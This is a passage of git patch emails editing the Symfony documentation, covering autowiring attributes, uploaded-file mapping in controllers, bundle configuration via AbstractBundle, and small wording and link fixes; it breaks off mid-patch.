<autowiring_closures>` * :ref:`Exclude <service-psr4-loader>` * :ref:`Lazy <lazy-services_configuration>` diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index 3c7a2eba52b..8b2b1c4d51d 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -737,6 +737,36 @@ attribute. By doing so, the callable will automatically be lazy, which means that the encapsulated service will be instantiated **only** at the closure's first call. +:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf` +provides a simpler way of specifying the name of the service method by using +the property name as method name:: + + // src/Service/MessageGenerator.php + namespace App\Service; + + use Symfony\Component\DependencyInjection\Attribute\AutowireMethodOf; + + class MessageGenerator + { + public function __construct( + #[AutowireMethodOf('third_party.remote_message_formatter')] + private \Closure $format, + ) { + } + + public function generate(string $message): void + { + $formattedMessage = ($this->format)($message); + + // ... + } + } + +.. versionadded:: 7.1 + + :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf` + was introduced in Symfony 7.1. + .. _autowiring-calls: Autowiring other Methods (e.g. Setters and Public Typed Properties) From 076ea3d11f16fc27230648dd07cf5de88434cc74 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Mon, 22 Apr 2024 20:35:49 +0200 Subject: [PATCH 154/615] - --- service_container/autowiring.rst | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index f570670a7dc..d2d97e0fa3d 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -565,7 +565,7 @@ attribute like this:: { public function __construct( #[Target('app.uppercase_transformer')] - private TransformerInterface $transformer + private TransformerInterface $transformer, ){ } } @@ -602,7 +602,8 @@ logic about those arguments:: class MessageGenerator { public function __construct( - #[Autowire(service: 'monolog.logger.request')] LoggerInterface $logger + #[Autowire(service: 'monolog.logger.request')] + private LoggerInterface $logger, ) { // ... } @@ -697,7 +698,7 @@ attribute:: { public function __construct( #[AutowireServiceClosure('third_party.remote_message_formatter')] - private \Closure $messageFormatterResolver + private \Closure $messageFormatterResolver, ) { } @@ -732,7 +733,7 @@ create extra instances of a non-shared service:: { public function __construct( #[AutowireCallable(service: 'third_party.remote_message_formatter', method: 'format')] - private \Closure $formatCallable + private \Closure $formatCallable, ) { } From c7c9182ec30c39536203d1a7953b36a81bb1e7ce Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Mon, 22 Apr 2024 20:37:33 +0200 Subject: [PATCH 155/615] - --- service_container/autowiring.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index f3a32c01ea0..594e5f584f8 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -765,8 +765,8 @@ the property name as method name:: .. versionadded:: 7.1 - :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf` - was introduced in Symfony 7.1. + The :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf` + attribute was introduced in Symfony 7.1. .. _autowiring-calls: From 3c52174842b972fb9979d8fb4ec538ce12be6ffa Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Mon, 22 Apr 2024 20:39:28 +0200 Subject: [PATCH 156/615] - --- service_container/autowiring.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index d2d97e0fa3d..783808d9a97 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -717,7 +717,7 @@ attribute:: It is common that a service accepts a closure with a specific signature. In this case, you can use the -:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` attribute +:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable` attribute to generate a closure with the same signature as a specific method of a service. When this closure is called, it will pass all its arguments to the underlying service function. If the closure needs to be called more than once, the service instance @@ -746,7 +746,7 @@ create extra instances of a non-shared service:: } Finally, you can pass the ``lazy: true`` option to the -:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` +:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable` attribute. By doing so, the callable will automatically be lazy, which means that the encapsulated service will be instantiated **only** at the closure's first call. From 20759594a59d907a06c0489f21ea300cf67ec4a8 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Mon, 22 Apr 2024 20:40:25 +0200 Subject: [PATCH 157/615] - --- service_container/autowiring.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index f89cfdbdc32..8ccde353fe9 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -738,9 +738,9 @@ attribute. By doing so, the callable will automatically be lazy, which means that the encapsulated service will be instantiated **only** at the closure's first call. -:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf` -provides a simpler way of specifying the name of the service method by using -the property name as method name:: +The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireMethodOf` +attribute provides a simpler way of specifying the name of the service method +by using the property name as method name:: // src/Service/MessageGenerator.php namespace App\Service; From f3304d8be67b41addf7bfeb099595674673a2b4b Mon Sep 17 00:00:00 2001 From: marcagrio <80474750+marcagrio@users.noreply.github.com> Date: Wed, 10 Apr 2024 09:50:25 +0200 Subject: [PATCH 158/615] Update session.rst --- session.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/session.rst b/session.rst index 549bf63d912..08e1745d13c 100644 --- a/session.rst +++ b/session.rst @@ -176,7 +176,7 @@ For example, imagine you're processing a :doc:`form </forms>` submission:: $flashes->add('error', 'Another error'); After processing the request, the controller sets a flash message in the session -and then redirects. The message key (``notice`` in this example) can be anything: +and then redirects. The message key (``warning`` and ``error`` in this example) can be anything: you'll use this key to retrieve the message. In the template of the next page (or even better, in your base layout template), From 43355162a8cce5c794299e6d359a8a436929c067 Mon Sep 17 00:00:00 2001 From: Rene Lima <renedelima@gmail.com> Date: Fri, 19 Apr 2024 20:28:09 +0200 Subject: [PATCH 159/615] Add documentation for #[MapUploadedFile] attribute --- controller.rst | 93 ++++++++++++++++++++++++++++++++++++++++ reference/attributes.rst | 1 + 2 files changed, 94 insertions(+) diff --git a/controller.rst b/controller.rst index 90277e07b76..f0cac7b2350 100644 --- a/controller.rst +++ b/controller.rst @@ -587,6 +587,99 @@ using the ``type`` option of the attribute:: The ``type`` option of ``#[MapRequestPayload]`` was introduced in Symfony 7.1. +.. _controller_map-uploaded-file: + +Mapping Uploaded File +~~~~~~~~~~~~~~~~~~~~~ + +You can map ``UploadedFile``s to the controller arguments and optionally bind ``Constraints`` to them. +The argument resolver fetches the ``UploadedFile`` based on the argument name. + +:: + + namespace App\Controller; + + use Symfony\Component\HttpFoundation\File\UploadedFile; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapUploadedFile; + use Symfony\Component\Routing\Attribute\Route; + use Symfony\Component\Validator\Constraints as Assert; + + #[Route('/user/picture', methods: ['PUT'])] + class ChangeUserPictureController + { + public function _invoke( + #[MapUploadedFile([ + new Assert\File(mimeTypes: ['image/png', 'image/jpeg']), + new Assert\Image(maxWidth: 3840, maxHeight: 2160) + ])] + UploadedFile $picture + ): Response { + // ... + } + } + +.. tip:: + + The bound ``Constraints`` are performed before injecting the ``UploadedFile`` into the controller argument. + When a constraint violation is detected an ``HTTPException`` is thrown and the controller's + action is not executed. + +Mapping ``UploadedFile``s with no custom settings. + +.. code-block:: php-attributes + + #[MapUploadedFile] + UploadedFile $document + +An ``HTTPException`` is thrown when the file is not submitted. +You can skip this check by making the controller argument nullable. + +.. code-block:: php-attributes + + #[MapUploadedFile] + ?UploadedFile $document + +.. code-block:: php-attributes + + #[MapUploadedFile] + UploadedFile|null $document + +``UploadedFile`` collections must be mapped to array or variadic arguments. +The bound ``Constraints`` will be applied to each file in the collection. +If a constraint violation is detected to one of them an ``HTTPException`` is thrown. + +.. code-block:: php-attributes + + #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))] + array $documents + +.. code-block:: php-attributes + + #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))] + UploadedFile ...$documents + +Handling custom names. + +.. code-block:: php-attributes + + #[MapUploadedFile(name: 'something-else')] + UploadedFile $document + +Changing the ``HTTP Status`` thrown when constraint violations are detected. + +.. code-block:: php-attributes + + #[MapUploadedFile( + constraints: new Assert\File(maxSize: '2M'), + validationFailedStatusCode: Response::HTTP_REQUEST_ENTITY_TOO_LARGE + )] + UploadedFile $document + +.. versionadded:: 7.1 + + The ``#[MapUploadedFile]`` attribute was introduced in Symfony 7.1. + Managing the Session -------------------- diff --git a/reference/attributes.rst b/reference/attributes.rst index a1e8532c347..4428dc4c587 100644 --- a/reference/attributes.rst +++ b/reference/attributes.rst @@ -64,6 +64,7 @@ HttpKernel * :ref:`MapQueryParameter <controller_map-request>` * :ref:`MapQueryString <controller_map-request>` * :ref:`MapRequestPayload <controller_map-request>` +* :ref:`MapUploadedFile <controller_map-uploaded-file>` * :ref:`ValueResolver <managing-value-resolvers>` * :ref:`WithHttpStatus <framework_exceptions>` * :ref:`WithLogLevel <framework_exceptions>` From cbf0283855c15989a72e1dc9947a82cadbe0c933 Mon Sep 17 00:00:00 2001 From: Carl Casbolt <carl@platinumtechsolutions.co.uk> Date: Mon, 22 Apr 2024 23:59:28 +0100 Subject: [PATCH 160/615] [Security] Update login_link.rst --- security/login_link.rst | 2 ++ 1 file changed, 2 insertions(+) diff --git a/security/login_link.rst b/security/login_link.rst index 0f642e1ad15..cfa6b52acfb 100644 --- a/security/login_link.rst +++ b/security/login_link.rst @@ -279,6 +279,8 @@ This will send an email like this to the user: // src/Notifier/CustomLoginLinkNotification namespace App\Notifier; + use Symfony\Component\Notifier\Message\EmailMessage; + use Symfony\Component\Notifier\Recipient\EmailRecipientInterface; use Symfony\Component\Security\Http\LoginLink\LoginLinkNotification; class CustomLoginLinkNotification extends LoginLinkNotification From 2a6654789221f802e13c46cfe1e77b5cf81cdc34 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 23 Apr 2024 14:57:27 +0200 Subject: [PATCH 161/615] Minor fix --- templates.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates.rst b/templates.rst index 7dd7a758fae..33815a2b21a 100644 --- a/templates.rst +++ b/templates.rst @@ -1257,7 +1257,7 @@ user name and a malicious user sets the following as their name: </script> You'll see ``My Name`` on screen but the attacker just secretly stole your cookies -so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_ +so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_ or XSS attack. To prevent this attack, use *"output escaping"* to transform the characters From 71697592d789b9d434e284e9b7d0c8a1f243e349 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 23 Apr 2024 15:01:21 +0200 Subject: [PATCH 162/615] Update more references to XSS attacks --- html_sanitizer.rst | 4 ++-- reference/forms/types/options/sanitize_html.rst.inc | 2 +- reference/forms/types/textarea.rst | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/html_sanitizer.rst b/html_sanitizer.rst index d5b28b0afb8..b412a49f321 100644 --- a/html_sanitizer.rst +++ b/html_sanitizer.rst @@ -15,8 +15,8 @@ that the returned HTML is very predictable (it only contains allowed elements), but it does not work well with badly formatted input (e.g. invalid HTML). The sanitizer is targeted for two use cases: -* Preventing security attacks based on XSS or other technologies relying on - execution of malicious code on the visitors browsers; +* Preventing security attacks based on :ref:`XSS <xss-attacks>` or other technologies + relying on the execution of malicious code on the visitors browsers; * Generating HTML that always respects a certain format (only certain tags, attributes, hosts, etc.) to be able to consistently style the resulting output with CSS. This also protects your application against diff --git a/reference/forms/types/options/sanitize_html.rst.inc b/reference/forms/types/options/sanitize_html.rst.inc index d5525674815..ead1e2791d5 100644 --- a/reference/forms/types/options/sanitize_html.rst.inc +++ b/reference/forms/types/options/sanitize_html.rst.inc @@ -9,7 +9,7 @@ sanitize_html When ``true``, the text input will be sanitized using the :doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is -submitted. This protects the form input against XSS, clickjacking and CSS +submitted. This protects the form input against :ref:`XSS <xss-attacks>`, clickjacking and CSS injection. .. note:: diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst index 0460bca6942..cf56d3067de 100644 --- a/reference/forms/types/textarea.rst +++ b/reference/forms/types/textarea.rst @@ -22,7 +22,7 @@ Renders a ``textarea`` HTML element. .. caution:: When allowing users to type HTML code in the textarea (or using a - WYSIWYG) editor, the application is vulnerable to XSS injection, + WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`, clickjacking or CSS injection. Use the `sanitize_html`_ option to protect against these types of attacks. From 86c9fe25d057fa9cc61d504c30818344af1cbef5 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 23 Apr 2024 15:52:22 +0200 Subject: [PATCH 163/615] Reword --- webhook.rst | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/webhook.rst b/webhook.rst index f931a3601ce..a981cd3e467 100644 --- a/webhook.rst +++ b/webhook.rst @@ -16,11 +16,6 @@ Installation $ composer require symfony/webhook -.. tip:: - - Since MakerBundle ``v1.58.0`` - you can run ``php bin/console make:webhook`` - to generate the files needed to use the Webhook component. - Usage in Combination with the Mailer Component ---------------------------------------------- @@ -193,3 +188,14 @@ For SMS webhooks, react to the // Handle the SMS event } } + +Creating a Custom Webhook +------------------------- + +.. tip:: + + Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:webhook`` + to generate the request parser and consumer files needed to create your own + Webhook. + +_`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html From ef7b670c91a26e33ca9c27d253c10734473f4e0c Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 23 Apr 2024 16:13:22 +0200 Subject: [PATCH 164/615] Minor tweak --- reference/configuration/framework.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index 2fdf20eab05..ace44982dbd 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -432,7 +432,7 @@ An added bonus of defining the enabled locales is that they are automatically added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`. For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the ``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some -user makes requests with a locale not included in this option, they'll see an error. +user makes requests with a locale not included in this option, they'll see a 404 error. set_content_language_from_locale ................................ From a36ff96c8b80d91dd307649db3a7b92ac1b33803 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 24 Apr 2024 10:01:55 +0200 Subject: [PATCH 165/615] Minor RST syntax issue --- webhook.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webhook.rst b/webhook.rst index a981cd3e467..773df3643bc 100644 --- a/webhook.rst +++ b/webhook.rst @@ -198,4 +198,4 @@ Creating a Custom Webhook to generate the request parser and consumer files needed to create your own Webhook. -_`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html +.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html From 09f26ddd840de9456f0fb795e9c89c47b41875c9 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 24 Apr 2024 09:54:38 +0200 Subject: [PATCH 166/615] Disable a validation rule in the docs linter --- .doctor-rst.yaml | 4 ---- 1 file changed, 4 deletions(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index 6f8707dd0bb..d6afb41ba6e 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -1,9 +1,5 @@ rules: american_english: ~ - argument_variable_must_match_type: - arguments: - - { type: 'ContainerBuilder', name: 'container' } - - { type: 'ContainerConfigurator', name: 'container' } avoid_repetetive_words: ~ blank_line_after_anchor: ~ blank_line_after_directive: ~ From c33b2293d95cccb12134efb15d53878ca5e68971 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Markus=20Fr=C3=BChauf?= <m.fruehauf@gmail.com> Date: Wed, 24 Apr 2024 12:17:09 +0200 Subject: [PATCH 167/615] fix dead link with correct once --- scheduler.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scheduler.rst b/scheduler.rst index 12d76eadc29..3a104b4b353 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -965,12 +965,12 @@ before being further redispatched to its corresponding handler:: } When using the ``RedispatchMessage``, Symfony will attach a -:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` to the message, +:class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp` to the message, helping you identify those messages when needed. .. versionadded:: 6.4 - Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` + Automatically attaching a :class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp` to redispatched messages was introduced in Symfony 6.4. .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization From ed767c9fa65cc4c97d8c2909cc83d02465b84102 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 16 Apr 2024 17:52:36 +0200 Subject: [PATCH 168/615] [Bundles] Promote the new bundle structure everywhere --- bundles.rst | 4 + bundles/configuration.rst | 195 ++++++++++++++++++++------------------ bundles/extension.rst | 126 +++++++++++++----------- 3 files changed, 179 insertions(+), 146 deletions(-) diff --git a/bundles.rst b/bundles.rst index c937b1ac69f..bb055f5ea09 100644 --- a/bundles.rst +++ b/bundles.rst @@ -87,6 +87,8 @@ of the bundle. Now that you've created the bundle, enable it:: And while it doesn't do anything yet, AcmeBlogBundle is now ready to be used. +.. _bundles-directory-structure: + Bundle Directory Structure -------------------------- @@ -119,6 +121,8 @@ to be adjusted if needed: ``translations/`` Holds translations organized by domain and locale (e.g. ``AcmeBlogBundle.en.xlf``). +.. _bundles-legacy-directory-structure: + .. caution:: The recommended bundle structure was changed in Symfony 5, read the diff --git a/bundles/configuration.rst b/bundles/configuration.rst index c155fe8a56a..48b91c1713a 100644 --- a/bundles/configuration.rst +++ b/bundles/configuration.rst @@ -46,11 +46,114 @@ as integration of other related components: $framework->form()->enabled(true); }; +There are two different ways of creating friendly configuration for a bundle: + +#. :ref:`Using the main bundle class <bundle-friendly-config-bundle-class>`: + this is recommended for new bundles and for bundles following the + :ref:`recommended directory structure <bundles-directory-structure>`; +#. :ref:`Using the Bundle extension class <bundle-friendly-config-extension>`: + this was the traditional way of doing it, but nowadays it's only recommended for + bundles following the :ref:`legacy directory structure <bundles-legacy-directory-structure>`. + +.. _using-the-bundle-class: +.. _bundle-friendly-config-bundle-class: + +Using the AbstractBundle Class +------------------------------ + +.. versionadded:: 6.1 + + The ``AbstractBundle`` class was introduced in Symfony 6.1. + +In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` +class, you can add all the logic related to processing the configuration in that class:: + + // src/AcmeSocialBundle.php + namespace Acme\SocialBundle; + + use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator; + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; + + class AcmeSocialBundle extends AbstractBundle + { + public function configure(DefinitionConfigurator $definition): void + { + $definition->rootNode() + ->children() + ->arrayNode('twitter') + ->children() + ->integerNode('client_id')->end() + ->scalarNode('client_secret')->end() + ->end() + ->end() // twitter + ->end() + ; + } + + public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void + { + // the "$config" variable is already merged and processed so you can + // use it directly to configure the service container (when defining an + // extension class, you also have to do this merging and processing) + $containerConfigurator->services() + ->get('acme.social.twitter_client') + ->arg(0, $config['twitter']['client_id']) + ->arg(1, $config['twitter']['client_secret']) + ; + } + } + +.. note:: + + The ``configure()`` and ``loadExtension()`` methods are called only at compile time. + +.. tip:: + + The ``AbstractBundle::configure()`` method also allows to import the + configuration definition from one or more files:: + + // src/AcmeSocialBundle.php + namespace Acme\SocialBundle; + + // ... + class AcmeSocialBundle extends AbstractBundle + { + public function configure(DefinitionConfigurator $definition): void + { + $definition->import('../config/definition.php'); + // you can also use glob patterns + //$definition->import('../config/definition/*.php'); + } + + // ... + } + + .. code-block:: php + + // config/definition.php + use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator; + + return static function (DefinitionConfigurator $definition): void { + $definition->rootNode() + ->children() + ->scalarNode('foo')->defaultValue('bar')->end() + ->end() + ; + }; + +.. _bundle-friendly-config-extension: + Using the Bundle Extension -------------------------- +This is the traditional way of creating friendly configuration for bundles. For new +bundles it's recommended to :ref:`use the main bundle class <bundle-friendly-config-bundle-class>`, +but the traditional way of creating an extension class still works. + Imagine you are creating a new bundle - AcmeSocialBundle - which provides -integration with Twitter. To make your bundle configurable to the user, you +integration with X/Twitter. To make your bundle configurable to the user, you can add some configuration that looks like this: .. configuration-block:: @@ -110,7 +213,7 @@ load correct services and parameters inside an "Extension" class. If a bundle provides an Extension class, then you should *not* generally override any service container parameters from that bundle. The idea - is that if an Extension class is present, every setting that should be + is that if an extension class is present, every setting that should be configurable should be present in the configuration made available by that class. In other words, the extension class defines all the public configuration settings for which backward compatibility will be maintained. @@ -315,94 +418,6 @@ In your extension, you can load this and dynamically set its arguments:: // ... now use the flat $config array } -.. _using-the-bundle-class: - -Using the AbstractBundle Class ------------------------------- - -.. versionadded:: 6.1 - - The ``AbstractBundle`` class was introduced in Symfony 6.1. - -As an alternative, instead of creating an extension and configuration class as -shown in the previous section, you can also extend -:class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to add this -logic to the bundle class directly:: - - // src/AcmeSocialBundle.php - namespace Acme\SocialBundle; - - use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator; - use Symfony\Component\DependencyInjection\ContainerBuilder; - use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; - use Symfony\Component\HttpKernel\Bundle\AbstractBundle; - - class AcmeSocialBundle extends AbstractBundle - { - public function configure(DefinitionConfigurator $definition): void - { - $definition->rootNode() - ->children() - ->arrayNode('twitter') - ->children() - ->integerNode('client_id')->end() - ->scalarNode('client_secret')->end() - ->end() - ->end() // twitter - ->end() - ; - } - - public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void - { - // Contrary to the Extension class, the "$config" variable is already merged - // and processed. You can use it directly to configure the service container. - $containerConfigurator->services() - ->get('acme.social.twitter_client') - ->arg(0, $config['twitter']['client_id']) - ->arg(1, $config['twitter']['client_secret']) - ; - } - } - -.. note:: - - The ``configure()`` and ``loadExtension()`` methods are called only at compile time. - -.. tip:: - - The ``AbstractBundle::configure()`` method also allows to import the - configuration definition from one or more files:: - - // src/AcmeSocialBundle.php - namespace Acme\SocialBundle; - - // ... - class AcmeSocialBundle extends AbstractBundle - { - public function configure(DefinitionConfigurator $definition): void - { - $definition->import('../config/definition.php'); - // you can also use glob patterns - //$definition->import('../config/definition/*.php'); - } - - // ... - } - - .. code-block:: php - - // config/definition.php - use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator; - - return static function (DefinitionConfigurator $definition): void { - $definition->rootNode() - ->children() - ->scalarNode('foo')->defaultValue('bar')->end() - ->end() - ; - }; - Modifying the Configuration of Another Bundle --------------------------------------------- diff --git a/bundles/extension.rst b/bundles/extension.rst index 8b2928358ad..d2e3cd05b9d 100644 --- a/bundles/extension.rst +++ b/bundles/extension.rst @@ -6,12 +6,77 @@ file used by the application but in the bundles themselves. This article explains how to create and load service files using the bundle directory structure. +There are two different ways of doing it: + +#. :ref:`Load your services in the main bundle class <bundle-load-services-bundle-class>`: + this is recommended for new bundles and for bundles following the + :ref:`recommended directory structure <bundles-directory-structure>`; +#. :ref:`Create an extension class to load the service configuration files <bundle-load-services-extension>`: + this was the traditional way of doing it, but nowadays it's only recommended for + bundles following the :ref:`legacy directory structure <bundles-legacy-directory-structure>`. + +.. _bundle-load-services-bundle-class: + +Loading Services Directly in your Bundle Class +---------------------------------------------- + +.. versionadded:: 6.1 + + The ``AbstractBundle`` class was introduced in Symfony 6.1. + +In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` +class, you can define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension` +method to load service definitions from configuration files:: + + // ... + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; + + class AcmeHelloBundle extends AbstractBundle + { + public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void + { + // load an XML, PHP or YAML file + $container->import('../config/services.xml'); + + // you can also add or replace parameters and services + $container->parameters() + ->set('acme_hello.phrase', $config['phrase']) + ; + + if ($config['scream']) { + $container->services() + ->get('acme_hello.printer') + ->class(ScreamingPrinter::class) + ; + } + } + } + +This method works similar to the ``Extension::load()`` method explained below, +but it uses a new simpler API to define and import service configuration. + +.. note:: + + Contrary to the ``$configs`` parameter in ``Extension::load()``, the + ``$config`` parameter is already merged and processed by the + ``AbstractBundle``. + +.. note:: + + The ``loadExtension()`` is called only at compile time. + +.. _bundle-load-services-extension: + Creating an Extension Class --------------------------- -In order to load service configuration, you have to create a Dependency -Injection (DI) Extension for your bundle. By default, the Extension class must -follow these conventions (but later you'll learn how to skip them if needed): +This is the traditional way of loading service definitions in bundles. For new +bundles it's recommended to :ref:`load your services in the main bundle class <bundle-load-services-bundle-class>`, +but the traditional way of creating an extension class still works. + +A depdendency injection extension is defined as a class that follows these +conventions (later you'll learn how to skip them if needed): * It has to live in the ``DependencyInjection`` namespace of the bundle; @@ -20,7 +85,7 @@ follow these conventions (but later you'll learn how to skip them if needed): :class:`Symfony\\Component\\DependencyInjection\\Extension\\Extension` class; * The name is equal to the bundle name with the ``Bundle`` suffix replaced by - ``Extension`` (e.g. the Extension class of the AcmeBundle would be called + ``Extension`` (e.g. the extension class of the AcmeBundle would be called ``AcmeExtension`` and the one for AcmeHelloBundle would be called ``AcmeHelloExtension``). @@ -70,7 +135,7 @@ class name to underscores (e.g. ``AcmeHelloExtension``'s DI alias is ``acme_hello``). Using the ``load()`` Method ---------------------------- +~~~~~~~~~~~~~~~~~~~~~~~~~~~ In the ``load()`` method, all services and parameters related to this extension will be loaded. This method doesn't get the actual container instance, but a @@ -108,57 +173,6 @@ The Extension is also the class that handles the configuration for that particular bundle (e.g. the configuration in ``config/packages/<bundle_alias>.yaml``). To read more about it, see the ":doc:`/bundles/configuration`" article. -Loading Services directly in your Bundle class ----------------------------------------------- - -.. versionadded:: 6.1 - - The ``AbstractBundle`` class was introduced in Symfony 6.1. - -Alternatively, you can define and load services configuration directly in a -bundle class instead of creating a specific ``Extension`` class. You can do -this by extending from :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` -and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension` -method:: - - // ... - use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; - use Symfony\Component\HttpKernel\Bundle\AbstractBundle; - - class AcmeHelloBundle extends AbstractBundle - { - public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void - { - // load an XML, PHP or Yaml file - $containerConfigurator->import('../config/services.xml'); - - // you can also add or replace parameters and services - $containerConfigurator->parameters() - ->set('acme_hello.phrase', $config['phrase']) - ; - - if ($config['scream']) { - $containerConfigurator->services() - ->get('acme_hello.printer') - ->class(ScreamingPrinter::class) - ; - } - } - } - -This method works similar to the ``Extension::load()`` method, but it uses -a new API to define and import service configuration. - -.. note:: - - Contrary to the ``$configs`` parameter in ``Extension::load()``, the - ``$config`` parameter is already merged and processed by the - ``AbstractBundle``. - -.. note:: - - The ``loadExtension()`` is called only at compile time. - Adding Classes to Compile ------------------------- From 5f33d0cd02e38c24621dee3de8b7596dafbe6533 Mon Sep 17 00:00:00 2001 From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com> Date: Wed, 24 Apr 2024 19:49:34 +0200 Subject: [PATCH 169/615] Update scheduler.rst --- scheduler.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scheduler.rst b/scheduler.rst index 3a104b4b353..afc99404df5 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -591,7 +591,7 @@ In your handler, you can check a condition and, if affirmative, access the } } - // src/Scheduler/Handler/.php + // src/Scheduler/Handler/CleanUpOldSalesReportHandler.php namespace App\Scheduler\Handler; #[AsMessageHandler] From 044be1e65529b555f35688fc84998e3dd18b374b Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 26 Apr 2024 16:11:47 +0200 Subject: [PATCH 170/615] Tweaks --- security/access_token.rst | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/security/access_token.rst b/security/access_token.rst index 593c6404c7a..2aca75118a3 100644 --- a/security/access_token.rst +++ b/security/access_token.rst @@ -537,7 +537,7 @@ claims. To create your own user object from the claims, you must 2) Configure the OidcTokenHandler ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -The 